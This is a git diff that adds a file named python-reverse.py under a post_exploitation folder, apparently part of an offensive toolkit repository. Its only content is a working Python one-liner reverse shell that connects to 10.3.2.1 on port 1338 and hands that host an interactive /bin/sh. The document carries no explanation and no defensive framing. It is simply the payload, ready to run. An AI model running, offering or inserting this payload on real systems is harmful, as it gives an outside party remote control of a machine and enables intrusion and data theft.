diff --git a/post_exploitation/python-reverse.py b/post_exploitation/python-reverse.py new file mode 100644 index 0000000..81a0f7e --- /dev/null +++ b/post_exploitation/python-reverse.py @@ -0,0 +1 @@ +python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'